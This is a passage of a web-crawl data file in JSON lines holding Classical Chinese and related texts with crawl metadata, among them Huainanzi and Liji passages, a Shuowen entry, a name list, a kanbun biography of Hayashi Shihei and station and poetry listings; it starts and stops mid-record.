軍。非易不可以治大,非簡不可以合眾。大樂必易,大禮必簡。易故能天,簡故能地。大樂無怨,大禮不責,四海之內,莫不繫統,故能帝也。心有憂者,筐床衽席弗能安也,菰飯犓牛弗能甘也,琴瑟鳴竽弗能樂也。患解憂除,然後食甘寢寧,居安游樂。由是觀之,生有以樂也,死有以哀也。今務益性之所不能樂,而以害性之所以樂,故雖富有天下,貴為天子,而不免為哀之人。凡人之性,樂恬而憎憫,樂佚而憎勞。心常無欲,可謂恬矣;形常無事,可謂佚矣。遊心於恬,舍形於佚,以俟天命,自樂於內,無急於外,雖天下之大,不足以易其一概,日月廋而無溉於志,故雖賤如貴,雖貧如富。大道無形,大仁無親,大辯無聲,大廉不嗛,大勇不矜,五者無棄,而幾鄉方矣。軍多令則亂,酒多約則辯。亂則降北,辯則相賊。故始於都者常大於鄙,始於樂者常大於悲,其作始簡者,其終本必調。今有美酒嘉肴以相饗,卑體婉辭以接之,欲以合歡,爭盈爵之間反生鬥,鬥而相傷,三族結怨,反其所憎,此酒之敗也。詩之失僻,樂之失刺,禮之失責。徵音非無羽聲也,羽音非無徵聲也,五音莫不有聲,而以徵羽定名者,以勝者也。故仁義智勇,聖人之所備有也,然而皆立一名者,言其大者也。陽氣起於東北,盡於西南;陰氣起於西南,盡於東北。陰陽之始,皆調適相似,日長其類,以侵相遠,或熱焦沙,或寒凝水,故聖人謹慎其所積。水出於山而入於海,稼生於野而藏於廩,見所始則知終矣。席之先雚蕈,樽之上玄酒,俎之先生魚,豆之先泰羹,此皆不快於耳目,不適於口腹,而先王貴之,先本而後末。聖人之接物,千變萬軫,必有不化而應化者。夫寒之與煖相反,大寒地坼水凝,火弗為衰其暑;大熱鑠石流金,火弗為益其烈。寒暑之變,無損益於己,質有之也。聖人常後而不先,常應而不唱;不進而求,不退而讓;隨時三年,時去我先;去時三年,時在我後;無去無就,中立其所。天道無親,唯德是與。有道者,不失時與人;無道者,失於時而取人。直己而待命,時之至不可迎而反也;要遮而求合,時之去不可追而援也。故不曰我無以為而天下遠,不曰我不欲而天下不至。古之存己者,樂德而忘賤,故名不動志;樂道而忘貧,故利不動心。名利充天下,不足以概志,故廉而能樂,靜而能澹。故其身治者,可與言道矣。自身以上至於荒芒爾遠矣,自死而天下無窮爾滔矣,以數雜之壽,憂天下之亂,猶憂河水之少,泣而益之也。龜三千歲,浮游不過三日,以浮游而為龜憂養生之具,人必笑之矣。故不憂天下之亂,而樂其身之治者,可與言道矣。君子為善不能使福必來,不為非而不能使禍無至。福之至也,非其所求,故不伐其功;禍之來也,非其所生,故不悔其行。內修極而橫禍至者,皆天也,非人也。故中心常恬漠,累積其德;狗吠而不驚,自信其情。故知道者不惑,知命者不憂。萬乘之主卒,葬其骸於廣野之中,祀其鬼神於明堂之上,神貴於形也。故神制則形從,形勝則神窮。聰明雖用,必反諸神,謂之太沖。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/culture.pkstate.com\/huinanzi\/14.html","date":"2018-01-22T18:25:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891530.91\/warc\/CC-MAIN-20180122173425-20180122193425-00204.warc.gz","language":"lzh","language_score":0.4514959753,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4514959752559662, \"cmn_Hani_score\": 0.42856138944625854, \"nan_Hani_score\": 0.07228150218725204, \"wuu_Hani_score\": 0.013391423039138317}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.421,"perplexity_score":500.0,"cluster_detection":1} +{"text":"卷十三 男部 舅 jiù\n清代陳昌治刻本『說文解字』\n母之兄弟爲𦥶,妻之父爲外𦥶。从男臼聲。\n其久切\n清代段玉裁『說文解字注』母之兄弟爲舅。\n釋親曰。母之晜弟爲舅。毛傳同。按周人謂兄爲晜也。舅之言舊也。猶姑之言故也。父之昆弟偁父。母之昆弟不得偁父。故偁舅。凡同姓可偁父。凡異姓不可偁父。故舅之也。今俗人言舅父者,非也。母之父母曷爲曰外王父,外王母與。父之父母偁王父王母。故母之父母得偁王父王母而外以別之也。父之昆弟偁從父。故母之?妹偁從母也。舍是則異姓無有偁父母者也。異姓可偁舅。故婦偁夫之父曰舅。男子偁妻之父曰外舅。母之從父昆弟曰從舅。又偁父之舅曰大舅。見後漢書。大者,今太字。妻之父爲外舅。\n男子於妻父亦言舅。對妻之舅吾父爲偁也。母之昆弟不曰外舅者,妻黨之別於母黨也。从男。臼聲。\n其九切。三部。","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/shuowen.xpcha.com\/569h65cts8d.html","date":"2018-02-23T20:07:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814833.62\/warc\/CC-MAIN-20180223194145-20180223214145-00608.warc.gz","language":"lzh","language_score":0.5463631153,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.546363115310669, \"cmn_Hani_score\": 0.2815076410770416, \"wuu_Hani_score\": 0.046398263424634933, \"jpn_Jpan_score\": 0.04631791263818741, \"yue_Hani_score\": 0.03666703402996063, \"nan_Hani_score\": 0.03464558348059654}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.514,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n余韵洁 余瑛淇 余麒英 余惟文 余嫣淇 余玑妍 余姗丽 余韵娅 余韵文 余韵雪 余婷婕 余莉芯 余溥娅 余轩文 余俪妍 余妍淇 余秀茹 余茹蔓 余茹鹃 余芯萍 余蓉蓉 余瑛蔓 余蔻婧 余秀璐 余绚丽 余启玲 余吉英 余爱琴 余瑛彤 余静芬 余蜀红 余海琳 余韵萍 余和芳 余甫芳 余柔芳 余存芳 余柳芳 余孝芳 余学芳 余会芳 余回芳 余佩琳 余蝉琼 余胜美 余逸琳 余绮琳 余依琳 余娅萌 余莉坤 余倚琳 余景玉 余音婵 余世芬 余伟芬 余鲡颖 余奕妍 余卫萍 余霞露 余廷婷 余佳玉 余朝琳 余莉妮 余秀峤 余冬红 余姗蓉 余裴豫 余昕颖 余沁琳 余荷琴 余绞玲 余木瑶 余慧怡 余蔓怡 余彩琼 余锦燕 余乙萍 余小颖 余克英 余菁瑛 余珩婧 余沁雪 余昕蓉 余怡涵 余歆妍 余亚玲 余妃雪 余考雪 余秀玉 余丝媛 余熙悦 余萍祥 余萍俊 余萍弘 余萍康 余萍竹 余萍贵 余萍乳 余萍辱 余姝茹 余燕丹 余大琴 余玮洁 余开琳 余姝倩 余冰嫣 余维洁 余维瑛 余雪嫣 余碧嫣 余名嫣 余碧瑛 余亚莉 余雅萍 余娅萍 余劲瑶 余玖瑶 余韵芳 余婧桥 余琳芳 余霖芳 余莉芳 余倩芳 余婧榕 余勤艳 余裳萍 余菀玲 余桂娜 余姗媛 余远红 余纾瑶 余国艳 余娜铤 余红娜 余建萍 余一娜 余依娜 余芮芳 余一芳 余艺芳 余芬芳 余涵艳 余秀芬 余蕙芳 余月萍 余胤蓉 余佩颖 余贞莹 余秀婷 余沣洁 余爱丽 余秀影 余迎瑛 余亚洁 余辉文 余依颖 余可美 余海莉 余良芳 余艳娟 余仲丽 余芝芬 余桢悦 余香怡 余琳雯 余定英 余富蓉 余洋梅 余国芳 余坤芬 余坪芬 余坤芳 余坪芳 余婧丽 余卉丽 余仙美 余素琴 余志芬 余婷艳 余丹琴 余秀霞 余琳顺 余春琴 余林燕 余敏英 余圣洁 余君瑶 余琼瑶 余永芳 余曾洁 余双艳 余妍晓 余成梅 余道娥 余玲瑶 余建梅 余婧莲 余玲峥 余玲圻 余淇文 余若嫣 余沛琳 余悦秀 余婧汝 余华美 余才玉 余铄玉 余铁玉 余彩莹 余彩玉 余秋芳 余秋妍 余俏妞 余妙妍 余铭悦 余顺芳 余修红 余袖红 余秀红 余舟梅 余承倩 余培琳 余雅琳 余渤文 余子萍 余玲娅 余万玉 余虹霞 余正玲 余秉洁 余倩言 余立文 余培燕 余倩瑜 余逸怡 余培霞 余舟玉 余卉茹 余雅婧 余抒琼 余菡莹 余楚莹 余魁文 余淑琼 余手红 余瑞娜 余宛玲 余湘玲 余星颖 余娜冰 余冰娜 余秀敏 余秀好 余秀婉 余秀雪 余秀晨 余秀碗 余秀翎 余秀梅 余恺文 余俊丽 余真美 余秀娇 余旭红 余秀樊 余代燕 余高花 余霖萍 余欣萍 余心萍 余媚洁 余雯燕 余涵燕 余淇燕 余淇洁 余心瑶 余灿玲 余超颖 余珊娜 余洪丽 余又美 余宛婷 余恩婵 余名悦 余俏燕 余珠萍 余振梅 余雯妍 余宗芳 余厚美 余廷霞 余舞霞 余玮茹 余秀蓉 余艳娥 余婧巧 余怀颖 余燕花 余艳花 余彦萍","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.zg-zy.cn\/show_360.aspx","date":"2018-11-21T11:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039748315.98\/warc\/CC-MAIN-20181121112832-20181121134832-00336.warc.gz","language":"lzh","language_score":0.9912703633,"language_script":"Hani","minhash_cluster_size":11,"top_langs":"{\"lzh_Hani_score\": 0.9912703633308411}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"齋藤 竹堂\n仙臺有奇士。曰林子平。父源五兵衞、名良通。仕幕府、有故削籍。而姉既聘爲本藩側室。故子平及兄嘉膳、皆受藩俸。然子平倜儻有大志。常見人之酣豢富貴、飽暖自安者以爲、遭變故、則不堪其用也。\n於是寒素自給、雖襤褸糲食不厭。自視、猶在兵陣間。性健歩、好遊四方、靡遠弗至。行輒躡屐、如往來鄰里者。人不知其行千里之遠也。所過風土之美悪、地勢之利害、政刑民俗之得失、皆諳知之、尤注心於邊防。\n前是、寓藩醫工藤球卿家。球卿素有邊防之議。子平論與之合。於是從鎭臺、再遊長崎、接異邦人、咨訪海外諸國情状、益知邊防之爲急。適清商在館者、激事忤命。鎭臺命子平及諸士勦之。子平奮鬭先衆生虜數人。曰、吾知西人之伎倆矣。\n既東歸、遂著海國兵談若干巻。大意以爲、西北諸蕃、概以奪地拓疆爲務、威力日強。必且朶頤於我。而彼長航海、洪波大濤、視如坦途。我環國皆海。近自日本橋、至鄂羅斯・阿蘭陀、同一水路、無有阻隔。彼欲來即來。而我拱手無備、亦已危矣。必也節國用、修兵備、瀕海要地、設臺置砲、數年而沿岸皆壘、儼然成一大長城矣。然後一旦有變、以逸待勞。庶可無患。而尤可慮者、我南北諸島。委而不顧、彼或據之。是異日之大患也。因著三國通覽、以論諸島之形勢。二書既上梓。海内未嘗知外寇之如此也。咸謂、諸蕃之來、商船耳、漁舶耳。曷有他志。彼張皇無根之事、不過爲釣名計。幕議亦以爲然、命毀梓、且禁錮于仙臺。時寛政壬子五月十六日也。\n先是、閑院宮贈諡未決、物議騒然。子平見樂翁公。公談及其事。子平笑曰、天朝之於幕府、是一家事。縱令有變、亦猶夫妻衽席之爭耳。不至失家也。若夷虜、則是在外之大盗。苟不爲慮、必至併家奪之。安可不憂哉。蓋其以邊防爲憂也如此。\n至是子平作六無歌、自號六無齋主人。蓋以寓逍遙自適之意焉。時輒爲子弟談兵。罵世之講兵、主一家曰甲曰越者曰、彼何適用。苟欲適用、不若讀古戰記録、而察其勝敗之由、爲有得也。又見子弟之讀書者曰、讀書可也。然足迹遍天下者、然後讀書、亦足以爲用。卿輩、足未嘗出里閈、何足爲用哉。\n歳嘗饑。爲藩老佐藤伊賀、著富國策。以爲、東海多鯨。苟能捕之、亦足以助國用。其他陳省費濟財之術。雖不行、識者知其可用焉。又著父兄訓。蓋謂、前是、童蒙有訓。然今之世、父兄亦不可無訓也。隨筆雜記有數巻。皆居常聞見所得、巨細盡載。亦多裨人者。\n同時、高山正之・蒲生秀實、皆以奇士稱。然不與子平合。初子平在京師、謁中山亞相。亞相盛稱正之慷慨論時事、涕隨言下状。子平曰、彼有泣癖耳。今時昇平、奚以泣爲。即可憂者、唯邊防。而彼一泣外、計無所出。公亦以彼爲善、不知一旦外寇之變、坐待風浪于萬一耶。\n秀實亦嘗訪子平。行裝甚野。子平一見罵曰、何物措大、鄙野乃爾。秀實亦忿曰、田舎翁之慢人、亦至此耶。不交他語而去。\n子平既廢、閲歳歿。其後十餘年、東陲果有鄂虜之變。秀實服其先見、上閣老書曰、祭子平之墓、而謝其靈可也。及幕議修邊防、蓋亦有取於其言。追賜赦。姪某始封其墓。事在天保壬寅。距其死、凡五十年。子平名友直、子平其字也。\n論曰、余在郷、常從亙理往齋遊。往齋即受兵於子平者也。嘗爲余言曰、子平爲人磊落。而守己謹嚴、尤有可稱焉。子平自禁錮之後、幽居一室。人或謂之曰、子雖禁錮、事係幕議、非出本藩之意。且歳月已久。雖間出遊、莫或知者。何不出訪鄰里友朋、而自消遣也。子平曰、日月在天。人可欺也、天可欺哉。因作國歌、以自述。至死未嘗隻歩出戸庭也。噫、子平之自守如此。豈特一奇士而已哉。(竹堂文鈔)\n2002年10月13日公開。","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/kambun.jp\/kambun\/saitochiku-hayashi.htm","date":"2018-12-19T09:17:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376831933.96\/warc\/CC-MAIN-20181219090209-20181219112209-00621.warc.gz","language":"lzh","language_score":0.4186969995,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4186969995498657, \"cmn_Hani_score\": 0.2885461747646332, \"jpn_Jpan_score\": 0.10749269276857376, \"wuu_Hani_score\": 0.06358914822340012, \"nan_Hani_score\": 0.029427722096443176, \"yue_Hani_score\": 0.02226227894425392}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":500.0,"cluster_detection":1} +{"text":"01. 孔子이 曰호대 入其國하야 其敎를 可知也이니, 其爲人也이 溫柔敦厚는 詩敎也요, 疏通知遠은 書敎也요, 廣博易良은 樂敎也요, 絜靜精微는 易敎也요, 恭儉莊敬은 禮敎也요, 屬[燭]辭比[毗志反]事는 春秋敎야라. 故로 詩之失은 愚요, 書之失은 誣요, 樂之失은 奢요, 易之失은 賊이요, 禮之失은 煩이요, 春秋之失은 難이니 其爲人也이 溫柔敦厚而不愚하면 則深於詩者也요, 疏通知遠而 不誣하면 則深於書者也요, 廣博易良而不奢하면 則深於樂者也요, 絜靜精微而不賊하면 則深於易者也요, 恭儉莊敬而不煩하면 則深於禮者也요, 屬辭比事而不亂하면 則深於春秋者也니라.[168] [絜:헤아릴혈,조촐할결,고요할결,끌계][毗:도룰비]\n方氏이 曰, 六經之敎이 善矣나 然務溫柔敦厚而溺其志則失於自用矣라. 故,詩之失,愚하고, 務疏通知遠而趨於事則失於無實矣라. 故,書之失,誣하고, 務廣博易良而徇其情則失於好大矣라. 故,樂之失奢하고 務絜靜精微而蔽於道則失於毁則矣라. 故易之失,賊하고, 務恭儉莊敬而亡其體則失於過當矣라. 故,禮之失煩하고, 務屬辭比事而作其法則失於犯上矣라. 故,春秋之失亂이라. 夫六經之敎는 先王所以載道也니 其敎이 豈有失哉아? 由其所得有淺深之異耳라.\n○ 應氏이 曰 淳厚者이 未必深察情僞,故失之愚하고, 通達者이 未必篤確誠實,故失之誣하고, 寬厚者이 未必嚴立繩檢,故失之奢하고, 沈潛思索多自耗蠧且或害道,故失之賊하고,--- 缺文 --- 故,失之煩하고 弄筆褒貶하야 易紊是非하면 且或召亂,故失之亂이니, 惟得之深則養之固하야 有以見天地之純全과 古人之大體이니 而安有所謂失哉아![蠧:좀두,나무굼벵이]\n○ 石梁王氏이 曰 孔子時에 春秋之筆削者이 未出하고, 又曰 加我數年卒以學易이라하사 性與天道를 不可得聞하니 豈遽以此敎人哉아! 所以敎者이 多言詩書禮樂하시고, 且有愚誣奢賊煩亂之失이 豈詩書樂易禮春秋이 使之然哉아! 此決非孔子之言이로다.\n[馬氏曰先王一道德以同天下之俗而國不異敎者省方觀民而不易其宜故也是故入其國其敎可知也其敎可知者知其所以爲敎之不同也]\n[石林葉氏曰敎者上所以勉下經者所以助成其敎也詩之規刺嘉美要使人歸於善而已仁之事也故其敎則溫柔敦厚書之紀述治亂要使人考古驗今而已智之事也故其敎則疏通知遠樂能和同天人之際其敎也動蕩血脉流通精神故廣博易良易能順性命之理其敎也吉凶以同民患而退藏於密故絜靜精微禮節民心其敎也使人飾貌以正其行故恭儉莊敬春秋言約而意隱其敎也使人美不過實貶不損美故屬辭比事蓋詩書以政敎之本而爲序樂與易以道德之妙而爲序禮與春秋以治人脩身而爲序六者之失蓋不深窮其理故也易曰唯深也故能通天下之志][脉:훔쳐볼맥서로볼맥 보는모양(脈同)]\n02. 天子者는 與天地로 參이라. 故로 德配天地하시며, 兼利萬物하시며, 與日月並明하사 明照四海而不遺微小하시고, 其在朝廷하사는 則道仁聖禮義之序하시며, 燕處에 則聽雅頌之音하시며, 行步에 則有環佩之聲하며, 升車에 則有鸞和之音하며, 居處이 有禮하시며, 進退有度하사 百官이 得其宜하며, 萬事이 得其序하나니, 詩云호대 淑人君子여 其儀不忒이로다! 其儀不忒이로다! 正是四國이라하니 此之謂也라.[172] [忒:변할특,의심할특,어긋나다,틀리다]\n鸞和는 皆鈴也니 鸞은 在衡하고, 和는 在軾前이라. 詩는 曹風鳲鳩篇이라.\n石梁王氏이 曰, 此段이 最粹라.\n[鳲:뻐꾸기(鳲鳩布穀)시.鳲鳩:뻐꾸기]\n[長樂陳氏曰與天地參言其體敵也德配天地言其道同也兼利萬物言其化溥也與日月竝明明照四海而不遺微小言其政術也又樂書曰天子在朝廷之上由仁聖禮義之序在閨門之內聽雅頌之音行步於堂有環佩之聲升車於道有鸞和之音確乎鄭衛不能入也]\n[馬氏曰朝廷者論道有爲之所在故道仁聖禮義之序燕處者燕息無爲之所在故聽雅頌之音心中斯須不和不樂則鄙詐之心入之矣故行步有環佩之聲以節之升車有鸞和之音以和之外貌斯須不莊不敬則易慢之心入之矣故居處則有禮進退則有度自與天地參推而詳之至於居處有禮進退有度其所以治己之道盡矣然而君爲之則臣行之上好之則下從之是故百官之貴賤各得其宜萬事之先後各得其序傳曰言思可道行思可樂德義可尊作事可法容止可觀進退可度以臨其民是以其民畏而愛之則而象之其意同]\n03. 發號出令而民說[悅]을 謂之和요, 上下相親謂之仁이요, 民不求其所欲而得之를 謂之信이요, 除去[上聲]天地之害謂之義는 義與信과 和與仁은 覇王[去聲]之器也니, 有治民之意하고, 而無其器하면 則不成하나니라.[173]\n馮氏이 曰, 論義信和仁之道而以王覇竝으로 言之豈孔子之言이리요?\n[馬氏曰號令之出適當人心而可否有以相濟和之至也親親者仁之始上下上親者仁之終上下之勢尊卑異宜而有以相親者以其上有恩以恤下下有力以衛上歡然有恩以相愛故謂之仁有餘則賂之不足則求之相滋以濕相濡以洙而以爲信皆信之末也至於民不求其所欲安其居樂其俗至於老死而不相往來則信之極也不求其所欲而得之者有以興其利也有以興其利而其害不可以不去則又卒之以除去天地之害謂之義孟子曰驅虎豹犀象而遠之而天下大悅周官鳥獸之害人者莫不有職凡以此而已][犀:무소서]\n[臨川吳氏曰和仁信義皆謂施於有政如器之可操執苟徒有治民之意而無此器則是雖有不忍人之心而無不忍人之政也不成謂不完成也然四者之器又須有禮故雖有政必有禮以齊之故下文遂推說禮之功用霸者諸侯之長王者天子之稱此篇第一節言諸侯之敎第二節言天子之德故於此總言之而曰霸王之器]\n04-1. 禮之於正國也는 猶衡之於輕重也와 繩墨之於曲直也와 規矩之於方圜也하니, 故로 衡이 誠顯하면 不可欺以輕重이요, 繩墨이 誠陳하면 不可欺以曲直이요, 規矩이 誠設하면 不可欺以方圜이요, 君子이 審禮하면 不可誣以姦詐이니라.[175]\n方氏이 曰, 輕者는 禮之小요, 重者는 禮之大니 若大者不可損小者不可益이 是矣요, 曲者는 禮之煩이요, 直者는 禮之簡이니 若易則易于則于이 是矣요, 方者는 禮之常이요, 圜者는 禮之變이니 若以禮爲體者는 禮之常也요, 以義起禮者는 禮之變也라. 禮之用如是라. 故,君子이 審禮不可誣以姦詐也라.\n[馬氏曰衡也繩墨也規矩也所以喩乎禮輕重也曲直也方圜也所以喩人情爲國必以禮則民有格心而事無失當猶衡之於輕重繩墨之於曲直規矩之於方圜皆無失其當也大匠生規矩而不能拾規矩以正方圜君子者禮義之所自出而不能拾禮義以正國故君子審禮不可誣以姦詐也]\n04-2. 是故로 隆禮由禮를 謂之有方之士요, 不隆禮는 不由禮를 謂之無方之民이니 敬讓之道也라. 故로 以奉宗廟則敬하고, 以入朝廷則貴賤이 有位하고, 以處室家則父子이 親하며, 兄弟和하고, 以處鄕里則長幼이 有序하나니, 孔子이 曰호대 安上治民은 莫善於禮라 하시니, 此之謂也라.[176]\n篇首孔子曰은 記者이 述孔子之言也요, 是故以下疑是記者之言이라. 故,引孝經孔子之言하야 以結之也라.\n○ 方氏이 曰,隆은 言隆之而高요, 由는 言由乎其中이니 隆禮所以極高明이요 由禮所以道中庸이니 極高明은 所以立本이요, 道中庸은 所以趨時라. 立本趨時이 雖若不同하나 要之不離於道而已라. 故,謂之有方之士也라. 道는 無方也이니 體之於禮則爲有方이니 此는 以禮爲主라. 故,謂之方焉이라. 士는 志於道라. 故於有方에는 曰士하고 民無常心이라. 故,於無方엔 曰民이라.\n[臨川吳氏曰隆者其崇重之心由者其踐行之迹方猶法也有方之士謂持守理法之善人以其善故加以美稱而謂之士無方之民謂逾越理法之惡人以其惡故濟於編氓而謂之民蓋禮者敬讓之道也人皆隆禮由禮則凡奉宗廟者皆敬先入朝廷者皆敬貴處室家者皆讓父兄處鄕里者皆讓長老敬讓之道達於宗廟朝廷室家鄕里故上爲下之所敬讓而居上者不危不危則安矣民知君之當敬讓而爲民者不亂不亂則治矣其安其治皆由有禮而然故曰莫善於禮記者推言禮之功用而引孔子之言以結之也][逾:넘을유][氓:백성맹]\n05. 故로 朝覲之禮는 所以明君臣之義也요, 聘問之禮는 所以使諸侯로 相尊敬也요, 喪祭之禮는 所以明臣子之恩也요, 鄕飮酒之禮는 所以明長幼之序也요, 昏姻之禮는 所以明男女之別也이니, 夫禮이 禁亂之所由生이 猶坊[防]이 止水之所自來也하니 故로 以舊坊으로 爲無所用而壞[怪]之者는 必有水敗하고, 以舊禮로 爲無所用而去[上聲]之者는 必有亂患이니라.[178]\n壻於婦家曰昏이요, 婦於壻家曰因이라.\n○ 方氏이 曰, 君臣之亂이 生於無義라. 故,以朝覲之禮禁之하고 諸侯之亂이 生於不和라. 故,以聘問之禮禁之하고, 臣子之亂이 生於無恩이라. 故,以喪祭之禮禁之하고, 以至鄕飮之施於長幼와 昏姻之施於男女이 其義 亦若是而已라.\n[馬氏曰春曰朝秋曰覲天子與諸侯嫌於無分諸侯朝覲以述職然後君臣之義明大曰聘小曰問諸侯相厲以禮上有以字於下下有以承於上則不相侵陵而相尊敬也臣子之於君親無所不盡其恩尤見於喪祭之禮爲其死者人之所惡而爲喪以終之足以見其不倍遠者人之所略而爲祭禮以鬼饗之足以見其不忘故曰所以明臣子之恩也鄕飮所以尙齒故席則有上下豆則有多寡皆所以明長幼之序也昏姻所以重禮故執贄而後見敬愼重正而後相親皆所以明別也]\n[延平周氏曰禮可以義起而古之人未嘗無損益至於大倫大要則不可以爲無所用而去之也蓋去之則亂患之所由生]\n06. 故로 昏姻之禮이 廢하면 則夫婦之道이 苦하야 而淫辟[僻]之罪多矣요, 鄕飮酒之禮이 廢하면 則長幼之序이 失하야 而爭鬪之獄繁矣요, 喪祭之禮이 廢하면 則臣子之恩이 薄하야 而倍死忘生者이 衆矣요, 聘覲之禮이 廢하면 則君臣之位失하며, 諸侯之行[去聲]이 惡하야 而倍畔侵陵之敗이 起矣니, 故로 禮之敎化也이 微하니 其止邪也이 於未形하야 使人으로 日徙善遠[去聲]罪而不自知也하나니, 是以先王이 隆之也하시니, 易에 曰호대 君子이 愼始니, 差若豪氂하나 繆以千里라하니 此之謂也라.[180]\n[僻:후미질벽][氂:쇠꼬리리,호리리]\n此는 又自昏姻으로 覆說至聘問朝覲하야 以明上文之義라. 所引易曰은 緯書之言也라. 若은 如也라.\n○ 鄭氏이 曰, 苦는 謂不至不答之屬이라.\n[石林葉氏曰朝覲聘問在上者之事而民不與焉故言禁亂則始於朝覲者以安上者爲序昏姻雖在上者制之而民得與焉故言廢禮則始於昏姻者以治民者爲序蓋天下治而後君臣得以正位其亂也常在於衽席此其所以成終而所以成始也朝覲聘問上下之禮雖不同而尊謹之道一也故言倍畔侵陵而皆曰敗昏姻鄕飮內外之禮雖不同而親睦之道一也故言淫僻爭鬪則曰罪曰獄蓋民違於禮有罪而加以刑有訟而至於獄則可得而治在上者違於禮則有僭逼而已故倍畔忘君者也侵陵圖君者也]\n[嚴陵方氏曰室家者人之所願也因其所願而爲之昏禮則足以別男女飮食者人之所欲也因其所欲而爲之鄕禮則足以序長幼以至喪祭聘覲亦若是而已此敎化所以爲微也以其微故能止邪於未形以其止邪於未形故使人日徒善遠罪而不自知也先王隆之其以是歟]","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/26-kyeong-hai.htm","date":"2019-02-19T19:09:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247491141.23\/warc\/CC-MAIN-20190219183054-20190219205054-00571.warc.gz","language":"lzh","language_score":0.6791552305,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6791552305221558, \"cmn_Hani_score\": 0.21330896019935608, \"kor_Hang_score\": 0.05684414133429527, \"jpn_Jpan_score\": 0.03599685803055763}","num_words":369,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.679,"perplexity_score":500.0,"cluster_detection":1} +{"text":"安徽火车站 合肥市 合肥南 合肥 巢湖 巢湖东 水家湖 肥东 庐江 长临河 合肥北城 合肥西 芜湖市 芜湖 绍兴北 无为 南陵 繁昌西 弋江 绍兴东 蚌埠市 蚌埠南 蚌埠 固镇 淮南市 淮南东 淮南 张集 马鞍山市 马鞍山东 马鞍山 当涂东 淮北市 淮北 青龙山 铜陵市 铜陵 铜陵北 铜陵东 安庆市 安庆 安庆西 桐城 天柱山 宿松 太湖 黄山市 黄山北 黄山 歙县北 歙县 祁门 滁州市 全椒 滁州 滁州北 定远 明光 炉桥 凤阳 阜阳市 阜阳 界首市 阜南 三堂集 太和 颍上 宿州市 宿州东 宿州 砀山 泗县 灵璧 砀山南 萧县北 黄口 六安市 六安 金寨 舒城 霍邱 叶集 亳州市 亳州 涡阳 池州市 池州 东至 宣城市 宣城 绩溪北 泾县 广德 旌德 绩溪县 宁国 火车时刻表说明 本站火车时刻表数据仅供参考,请以12306网站数据为准。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/m.388g.com\/huoche\/340000.html","date":"2019-02-22T15:01:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247518425.87\/warc\/CC-MAIN-20190222135147-20190222161147-00573.warc.gz","language":"lzh","language_score":0.4732923508,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.47329235076904297, \"cmn_Hani_score\": 0.20495542883872986, \"nan_Hani_score\": 0.17638367414474487, \"jpn_Jpan_score\": 0.10611873120069504, \"wuu_Hani_score\": 0.035569194704294205}","num_words":98,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.478,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n白头吟 皑如山上雪,皎若云间月。闻君有两意,故来相决绝。今日斗酒会,明旦沟水头。躞蹀御沟上,沟水东西流。凄凄复凄凄,嫁娶不须啼。愿得一心人,白头不相离。竹竿何袅袅,鱼尾何簁簁!男儿重意气,何用钱刀为!\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&tag=hUN99LmYHD&tagLabel=%E5%A5%B3%E5%AD%90.htm","date":"2020-01-25T14:18:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672537.90\/warc\/CC-MAIN-20200125131641-20200125160641-00413.warc.gz","language":"lzh","language_score":0.476606071,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4766060709953308, \"cmn_Hani_score\": 0.43804121017456055, \"nan_Hani_score\": 0.05287071689963341, \"wuu_Hani_score\": 